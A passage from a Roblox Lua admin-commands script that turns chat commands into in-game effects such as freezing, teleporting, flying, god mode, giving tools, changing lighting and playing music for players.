end))
end
end

if msg:lower():sub(1,4) == &quot;sit &quot; then
local plrz = GetPlr(plr, msg:lower():sub(5))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Humanoid&quot;) then 
v.Character.Humanoid.Sit = true
end
end))
end
end

if msg:lower():sub(1,10) == &quot;invisible &quot; then
local plrz = GetPlr(plr, msg:lower():sub(11))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then 
for a, obj in pairs(v.Character:children()) do 
if obj:IsA(&quot;BasePart&quot;) then obj.Transparency = 1 if obj:findFirstChild(&quot;face&quot;) then obj.face.Transparency = 1 end elseif obj:IsA(&quot;Hat&quot;) and obj:findFirstChild(&quot;Handle&quot;) then obj.Handle.Transparency = 1 end
end
end
end))
end
end

if msg:lower():sub(1,8) == &quot;visible &quot; then
local plrz = GetPlr(plr, msg:lower():sub(9))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then 
for a, obj in pairs(v.Character:children()) do 
if obj:IsA(&quot;BasePart&quot;) then obj.Transparency = 0 if obj:findFirstChild(&quot;face&quot;) then obj.face.Transparency = 0 end elseif obj:IsA(&quot;Hat&quot;) and obj:findFirstChild(&quot;Handle&quot;) then obj.Handle.Transparency = 0 end
end
end
end))
end
end

if msg:lower():sub(1,5) == &quot;lock &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then 
for a, obj in pairs(v.Character:children()) do 
if obj:IsA(&quot;BasePart&quot;) then obj.Locked = true elseif obj:IsA(&quot;Hat&quot;) and obj:findFirstChild(&quot;Handle&quot;) then obj.Handle.Locked = true end
end
end
end))
end
end

if msg:lower():sub(1,7) == &quot;unlock &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then 
for a, obj in pairs(v.Character:children()) do 
if obj:IsA(&quot;BasePart&quot;) then obj.Locked = false elseif obj:IsA(&quot;Hat&quot;) and obj:findFirstChild(&quot;Handle&quot;) then obj.Handle.Locked = false end
end
end
end))
end
end

if msg:lower():sub(1,8) == &quot;explode &quot; then
local plrz = GetPlr(plr, msg:lower():sub(9))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
local ex = Instance.new(&quot;Explosion&quot;, game.Workspace) ex.Position = v.Character.Torso.Position
end
end))
end
end

if msg:lower():sub(1,4) == &quot;age &quot; then
local plrz = GetPlr(plr, msg:lower():sub(5))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v then Message(v.Name .. &quot;&apos;s age&quot;, tostring(v.AccountAge), false, {plr}) end
end))
end
end

if msg:lower():sub(1,5) == &quot;fire &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
local cl = Instance.new(&quot;Fire&quot;, v.Character.Torso) table.insert(objects, cl)
end
end))
end
end

if msg:lower():sub(1,7) == &quot;unfire &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA(&quot;Fire&quot;) then cl:Destroy() end end
end
end))
end
end

if msg:lower():sub(1,6) == &quot;smoke &quot; then
local plrz = GetPlr(plr, msg:lower():sub(7))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
local cl = Instance.new(&quot;Smoke&quot;, v.Character.Torso) table.insert(objects, cl)
end
end))
end
end

if msg:lower():sub(1,8) == &quot;unsmoke &quot; then
local plrz = GetPlr(plr, msg:lower():sub(9))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA(&quot;Smoke&quot;) then cl:Destroy() end end
end
end))
end
end

if msg:lower():sub(1,9) == &quot;sparkles &quot; then
local plrz = GetPlr(plr, msg:lower():sub(10))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
local cl = Instance.new(&quot;Sparkles&quot;, v.Character.Torso) table.insert(objects, cl)
end
end))
end
end

if msg:lower():sub(1,11) == &quot;unsparkles &quot; then
local plrz = GetPlr(plr, msg:lower():sub(12))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA(&quot;Sparkles&quot;) then cl:Destroy() end end
end
end))
end
end

if msg:lower():sub(1,3) == &quot;ff &quot; then
local plrz = GetPlr(plr, msg:lower():sub(4))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then Instance.new(&quot;ForceField&quot;, v.Character) end
end))
end
end

if msg:lower():sub(1,5) == &quot;unff &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then 
for z, cl in pairs(v.Character:children()) do if cl:IsA(&quot;ForceField&quot;) then cl:Destroy() end end
end
end))
end
end

if msg:lower():sub(1,7) == &quot;punish &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then 
v.Character.Parent = game:service(&quot;Lighting&quot;)
end
end))
end
end

if msg:lower():sub(1,9) == &quot;unpunish &quot; then
local plrz = GetPlr(plr, msg:lower():sub(10))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then 
v.Character.Parent = game:service(&quot;Workspace&quot;)
v.Character:MakeJoints()
end
end))
end
end

if msg:lower():sub(1,7) == &quot;freeze &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Humanoid&quot;) then 
for a, obj in pairs(v.Character:children()) do 
if obj:IsA(&quot;BasePart&quot;) then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
end
end
end))
end
end

if msg:lower():sub(1,5) == &quot;thaw &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Humanoid&quot;) then 
for a, obj in pairs(v.Character:children()) do 
if obj:IsA(&quot;BasePart&quot;) then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
end
end
end))
end
end

if msg:lower():sub(1,5) == &quot;heal &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Humanoid&quot;) then 
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
end
end))
end
end

if msg:lower():sub(1,4) == &quot;god &quot; then
local plrz = GetPlr(plr, msg:lower():sub(5))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Humanoid&quot;) then 
v.Character.Humanoid.MaxHealth = math.huge
v.Character.Humanoid.Health = 9e9
end
end))
end
end

if msg:lower():sub(1,6) == &quot;ungod &quot; then
local plrz = GetPlr(plr, msg:lower():sub(7))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Humanoid&quot;) then 
v.Character.Humanoid.MaxHealth = 100
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
end
end))
end
end

if msg:lower():sub(1,8) == &quot;ambient &quot; then
local chk1 = msg:lower():sub(9):find(&quot; &quot;) + 8
local chk2 = msg:sub(chk1+1):find(&quot; &quot;) + chk1
game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
end

if msg:lower():sub(1,11) == &quot;brightness &quot; then
game.Lighting.Brightness = msg:sub(12)
end

if msg:lower():sub(1,5) == &quot;time &quot; then
game.Lighting.TimeOfDay = msg:sub(6)
end

if msg:lower():sub(1,9) == &quot;fogcolor &quot; then
local chk1 = msg:lower():sub(10):find(&quot; &quot;) + 9
local chk2 = msg:sub(chk1+1):find(&quot; &quot;) + chk1
game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
end

if msg:lower():sub(1,7) == &quot;fogend &quot; then
game.Lighting.FogEnd = msg:sub(8)
end

if msg:lower():sub(1,9) == &quot;fogstart &quot; then
game.Lighting.FogStart = msg:sub(10)
end

if msg:lower():sub(1,7) == &quot;btools &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;Backpack&quot;) then 
local t1 = Instance.new(&quot;HopperBin&quot;, v.Backpack) t1.Name = &quot;Move&quot; t1.BinType = &quot;GameTool&quot;
local t2 = Instance.new(&quot;HopperBin&quot;, v.Backpack) t2.Name = &quot;Clone&quot; t2.BinType = &quot;Clone&quot;
local t3 = Instance.new(&quot;HopperBin&quot;, v.Backpack) t3.Name = &quot;Delete&quot; t3.BinType = &quot;Hammer&quot;
local t4= Instance.new(&quot;HopperBin&quot;, v.Backpack) t4.Name = &quot;Resize&quot;
local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild(&quot;PlayerGui&quot;)
local sb
local hs
local pdist

script.Parent.Selected:connect(function(mouse)
if not mouse then return end
sb = Instance.new(&quot;SelectionBox&quot;, game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new(&quot;Bright blue&quot;) sb.Adornee = nil
hs = Instance.new(&quot;Handles&quot;, game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new(&quot;Bright blue&quot;) hs.Adornee = nil
mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) &gt;= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
hs.MouseButton1Down:connect(function() pdist = 0 end)
end)

script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
end
end))
end
end

if msg:lower():sub(1,12) == &quot;startergive &quot; then
local chk1 = msg:lower():sub(13):find(&quot; &quot;) + 12
local plrz = GetPlr(plr, msg:lower():sub(13,chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;StarterGear&quot;) and game:findFirstChild(&quot;Lighting&quot;) then 
for a, tool in pairs(game.Lighting:children()) do
if tool:IsA(&quot;Tool&quot;) or tool:IsA(&quot;HopperBin&quot;) then
if msg:lower():sub(chk1+1) == &quot;all&quot; or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.StarterGear end
end
end
end
end))
end
end

if msg:lower():sub(1,5) == &quot;give &quot; then
local chk1 = msg:lower():sub(6):find(&quot; &quot;) + 5
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;Backpack&quot;) and game:findFirstChild(&quot;Lighting&quot;) then 
for a, tool in pairs(game.Lighting:children()) do
if tool:IsA(&quot;Tool&quot;) or tool:IsA(&quot;HopperBin&quot;) then
if msg:lower():sub(chk1+1) == &quot;all&quot; or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
end
end
end
end))
end
end

if msg:lower():sub(1,12) == &quot;removetools &quot; then
local plrz = GetPlr(plr, msg:lower():sub(13))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v:findFirstChild(&quot;Backpack&quot;) then 
for a, tool in pairs(v.Character:children()) do if tool:IsA(&quot;Tool&quot;) or tool:IsA(&quot;HopperBin&quot;) then tool:Destroy() end end
for a, tool in pairs(v.Backpack:children()) do if tool:IsA(&quot;Tool&quot;) or tool:IsA(&quot;HopperBin&quot;) then tool:Destroy() end end
end
end))
end
end

if msg:lower():sub(1,5) == &quot;rank &quot; then
local chk1 = msg:lower():sub(6):find(&quot; &quot;) + 5
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:IsInGroup(msg:sub(chk1+1)) then 
Hint(&quot;[&quot; .. v:GetRankInGroup(msg:sub(chk1+1)) .. &quot;] &quot; .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
elseif v and not v:IsInGroup(msg:sub(chk1+1))then
Hint(v.Name .. &quot; is not in the group &quot; .. msg:sub(chk1+1), {plr})
end
end))
end
end

if msg:lower():sub(1,7) == &quot;damage &quot; then
local chk1 = msg:lower():sub(8):find(&quot; &quot;) + 7
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Humanoid&quot;) then 
v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
end
end))
end
end

if msg:lower():sub(1,5) == &quot;grav &quot; then
local plrz = GetPlr(plr, msg:lower():sub(6))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == &quot;BFRC&quot; then frc:Destroy() end end
end
end))
end
end

if msg:lower():sub(1,8) == &quot;setgrav &quot; then
local chk1 = msg:lower():sub(9):find(&quot; &quot;) + 8
local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == &quot;BFRC&quot; then frc:Destroy() end end
local frc = Instance.new(&quot;BodyForce&quot;, v.Character.Torso) frc.Name = &quot;BFRC&quot; frc.force = Vector3.new(0,0,0)
for a, prt in pairs(v.Character:children()) do if prt:IsA(&quot;BasePart&quot;) then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA(&quot;Hat&quot;) then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
end
end))
end
end

if msg:lower():sub(1,7) == &quot;nograv &quot; then
local plrz = GetPlr(plr, msg:lower():sub(8))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Torso&quot;) then 
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == &quot;BFRC&quot; then frc:Destroy() end end
local frc = Instance.new(&quot;BodyForce&quot;, v.Character.Torso) frc.Name = &quot;BFRC&quot; frc.force = Vector3.new(0,0,0)
for a, prt in pairs(v.Character:children()) do if prt:IsA(&quot;BasePart&quot;) then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA(&quot;Hat&quot;) then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
end
end))
end
end

if msg:lower():sub(1,7) == &quot;health &quot; then
local chk1 = msg:lower():sub(8):find(&quot; &quot;) + 7
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Humanoid&quot;) then 
v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
end
end))
end
end

if msg:lower():sub(1,6) == &quot;speed &quot; then
local chk1 = msg:lower():sub(7):find(&quot; &quot;) + 6
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Humanoid&quot;) then 
v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
end
end))
end
end

if msg:lower():sub(1,5) == &quot;team &quot; then
local chk1 = msg:lower():sub(6):find(&quot; &quot;) + 5
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and game:findFirstChild(&quot;Teams&quot;) then 
for a, tm in pairs(game.Teams:children()) do
if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
end
end
end))
end
end

if msg:lower():sub(1,6) == &quot;place &quot; then
local chk1 = msg:lower():sub(7):find(&quot; &quot;) + 6
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;PlayerGui&quot;) then 
local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service(&quot;TeleportService&quot;):Teleport(]] .. msg:sub(chk1+1) .. &quot;)&quot; cl.Parent = v.PlayerGui cl.Disabled = false
end
end))
end
end

if msg:lower():sub(1,3) == &quot;tp &quot; then
local chk1 = msg:lower():sub(4):find(&quot; &quot;) + 3
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
for i2, v2 in pairs(plrz2) do
if v and v2 and v.Character and v2.Character and v.Character:findFirstChild(&quot;Torso&quot;) and v2.Character:findFirstChild(&quot;Torso&quot;) then
v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
end
end
end))
end
end

if msg:lower():sub(1,7) == &quot;change &quot; then
local chk1 = msg:lower():sub(8):find(&quot; &quot;) + 7
local chk2 = msg:sub(chk1+1):find(&quot; &quot;) + chk1
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;leaderstats&quot;) then 
for a, st in pairs(v.leaderstats:children()) do
if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
end
end
end))
end
end

if msg:lower():sub(1,6) == &quot;shirt &quot; then
local chk1 = msg:lower():sub(7):find(&quot; &quot;) + 6
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then 
for i,v in pairs(v.Character:children()) do
if v:IsA(&quot;Shirt&quot;) then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = &quot;http://www.roblox.com/asset/?id=&quot; .. chk1 v:Destroy() end
end
end
end))
end
end

if msg:lower():sub(1,6) == &quot;pants &quot; then
local chk1 = msg:lower():sub(7):find(&quot; &quot;) + 6
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then 
for i,v in pairs(v.Character:children()) do
if v:IsA(&quot;Pants&quot;) then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = &quot;http://www.roblox.com/asset/?id=&quot; .. chk1 v:Destroy() end
end
end
end))
end
end

if msg:lower():sub(1,5) == &quot;face &quot; then
local chk1 = msg:lower():sub(6):find(&quot; &quot;) + 5
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character and v.Character:findFirstChild(&quot;Head&quot;) and v.Character.Head:findFirstChild(&quot;face&quot;) then 
v.Character.Head:findFirstChild(&quot;face&quot;).Texture = &quot;http://www.roblox.com/asset/?id=&quot; .. chk1
end
end))
end
end

---------------------
--   FunCommands   --
---------------------
if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
&#9;
if msg:lower():sub(1,8) == &quot;swagify &quot; then
local plrz = GetPlr(plr, msg:lower():sub(9))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v.Character then
for i,v in pairs(v.Character:children()) do
if v.Name == &quot;Shirt&quot; then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = &quot;http://www.roblox.com/asset/?id=109163376&quot; v:Destroy() end
if v.Name == &quot;Pants&quot; then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = &quot;http://www.roblox.com/asset/?id=109163376&quot; v:Destroy() end
end
for a,cp in pairs(v.Character:children()) do if cp.Name == &quot;EpicCape&quot; then cp:Destroy() end end
local cl = script.LocalScriptBase:Clone() cl.Name = &quot;CapeScript&quot; cl.Code.Value = [[local plr = game.Players.LocalPlayer
repeat wait() until plr and plr.Character and plr.Character:findFirstChild(&quot;Torso&quot;)
local torso = plr.Character.Torso
local p = Instance.new(&quot;Part&quot;, torso.Parent) p.Name = &quot;EpicCape&quot; p.Anchored = false
p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new(&quot;Pink&quot;) local dec = Instance.new(&quot;Decal&quot;, p) dec.Face = 2 dec.Texture = &quot;http://www.roblox.com/asset/?id=109301474&quot; p.formFactor = &quot;Custom&quot;
p.Size = Vector3.new(.2,.2,.2)
local msh = Instance.new(&quot;BlockMesh&quot;, p) msh.Scale = Vector3.new(9,17.5,.5)
local motor1 = Instance.new(&quot;Motor&quot;, p)
motor1.Part0 = p
motor1.Part1 = torso
motor1.MaxVelocity = .01
motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
local wave = false
repeat wait(1/44)
local ang = 0.1
local oldmag = torso.Velocity.magnitude
local mv = .002
if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
ang = ang + math.min(torso.Velocity.magnitude/11, .5)
motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
motor1.DesiredAngle = -ang
if motor1.CurrentAngle &lt; -.2 and motor1.DesiredAngle &gt; -.2 then motor1.MaxVelocity = .04 end
repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag)  &gt;= (torso.Velocity.magnitude/10) + 1
if torso.Velocity.magnitude &lt; .1 then wait(.1) end
until not p or p.Parent ~= torso.Parent
script:Destroy()
]] cl.Parent = v.PlayerGui cl.Disabled = false
end
end))
end
end

if msg:lower():sub(1,6) == &quot;music &quot; then
for i, v in pairs(game.Workspace:children()) do if v:IsA(&quot;Sound&quot;) then v:Destroy() end end
local id = msg:sub(7)
local pitch = 1
if tostring(id):lower():find(&quot;caramell&quot;) then id = 2303479 end
if tostring(id):find(&quot;epic&quot;) then id = 27697743 pitch = 2.5 end
if tostring(id):find(&quot;rick&quot;) then id = 2027611 end
if tostring(id):find(&quot;halo&quot;) then id = 1034065  end
if tostring(id):find(&quot;pokemon&quot;) then id = 1372261 end
if tostring(id):find(&quot;cursed&quot;) then id = 1372257 end
if tostring(id):find(&quot;extreme&quot;) then id = 11420933 end
if tostring(id):find(&quot;awaken&quot;) then id = 27697277 end
if tostring(id):find(&quot;alone&quot;) then id = 27697392 end
if tostring(id):find(&quot;mario&quot;) then id = 1280470 end
if tostring(id):find(&quot;choir&quot;) then id = 1372258 end
if tostring(id):find(&quot;chrono&quot;) then id = 1280463 end
if tostring(id):find(&quot;dotr&quot;) then id = 11420922 end
if tostring(id):find(&quot;entertain&quot;) then id = 27697267 end
if tostring(id):find(&quot;fantasy&quot;) then id = 1280473 end
if tostring(id):find(&quot;final&quot;) then id = 1280414 end
if tostring(id):find(&quot;emblem&quot;) then id = 1372259 end
if tostring(id):find(&quot;flight&quot;) then id = 27697719 end
if tostring(id):find(&quot;banjo&quot;) then id = 27697298 end
if tostring(id):find(&quot;gothic&quot;) then id = 27697743 end
if tostring(id):find(&quot;hiphop&quot;) then id = 27697735 end
if tostring(id):find(&quot;intro&quot;) then id = 27697707 end
if tostring(id):find(&quot;mule&quot;) then id = 1077604 end
if tostring(id):find(&quot;film&quot;) then id = 27697713 end
if tostring(id):find(&quot;nezz&quot;) then id = 8610025 end
if tostring(id):find(&quot;angel&quot;) then id = 1372260 end
if tostring(id):find(&quot;resist&quot;) then id = 27697234 end
if tostring(id):find(&quot;schala&quot;) then id = 5985787 end
if tostring(id):find(&quot;organ&quot;) then id = 11231513 end
if tostring(id):find(&quot;tunnel&quot;) then id = 9650822 end
if tostring(id):find(&quot;spanish&quot;) then id = 5982975 end
if tostring(id):find(&quot;venom&quot;) then id = 1372262 end
if tostring(id):find(&quot;wind&quot;) then id = 1015394 end
if tostring(id):find(&quot;guitar&quot;) then id = 5986151 end
local s = Instance.new(&quot;Sound&quot;, game.Workspace) s.SoundId = &quot;http://www.roblox.com/asset/?id=&quot; .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
end

if msg:lower() == &quot;stopmusic&quot; then
for i, v in pairs(game.Workspace:children()) do if v:IsA(&quot;Sound&quot;) then v:Destroy() end end
end

if msg:lower() == &quot;musiclist&quot; then
if plr.PlayerGui:findFirstChild(&quot;MUSICGUI&quot;) then return end
local scr, cmf, ent, num = ScrollGui() scr.Name = &quot;MUSICGUI&quot; scr.Parent = plr.PlayerGui
local list = {&quot;caramell&quot;,&quot;epic&quot;,&quot;rick&quot;,&quot;halo&quot;,&quot;pokemon&quot;,&quot;cursed&quot;,&quot;extreme&quot;,&quot;awaken&quot;,&quot;alone&quot;,&quot;mario&quot;,&quot;choir&quot;,&quot;chrono&quot;,&quot;dotr&quot;,&quot;entertain&quot;,&quot;fantasy&quot;,&quot;final&quot;,&quot;emblem&quot;,&quot;flight&quot;,&quot;banjo&quot;,&quot;gothic&quot;,&quot;hiphop&quot;,&quot;intro&quot;,&quot;mule&quot;,&quot;film&quot;,&quot;nezz&quot;,&quot;angel&quot;,&quot;resist&quot;,&quot;schala&quot;,&quot;organ&quot;,&quot;tunnel&quot;,&quot;spanish&quot;,&quot;venom&quot;,&quot;wind&quot;,&quot;guitar&quot;}
for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
end

if msg:lower():sub(1,4) == &quot;fly &quot; then
local plrz = GetPlr(plr, msg:lower():sub(5))
for i, v in pairs(plrz) do
coroutine.resume(coroutine.create(function()
if v and v:findFirstChild(&quot;PlayerGui&quot;) then
local cl = script.LocalScriptBase:Clone() cl.Name = &quot;FlyScript&quot; cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild(&quot;Torso&quot;) and game.Players.LocalPlayer.Character:findFirstChild(&quot;Humanoid&quot;) 
local mouse = game.Players.LocalPlayer:GetMouse() 
repeat wait() until mouse
local plr = game.Players.LocalPlayer 
local torso = plr.Character.Torso 
local flying = true
local deb = true 
local ctrl = {f = 0, b = 0, l = 0, r = 0} 
local lastctrl = {f = 0, b = 0, l = 0, r = 0} 
local maxspeed = 50 
local speed = 0 
function Fly() 
local bg = Instance.new(&quot;BodyGyro&quot;, torso) 
bg.P = 9e4 
bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) 
bg.cframe = torso.CFrame 
local bv = Instance.new(&quot;BodyVelocity&quot;, torso) 
bv.velocity = Vector3.new(0,0.1,0) 
bv.maxForce = Vector3.new(9e9, 9e9, 9e9) 
repeat wait() 
plr.Character.Humanoid.PlatformStand = true 
if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then 
speed = speed+.5+(speed/maxspeed) 
if speed &gt; maxspeed then 
speed = maxspeed 
end 
elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then 
speed = speed-1 
if speed &lt; 0 then 
speed = 0 
end 
end 
if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then 
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed 
lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} 
elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then 
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed 
else 
bv.velocity = Vector3.new(0,0.1,0) 
end 
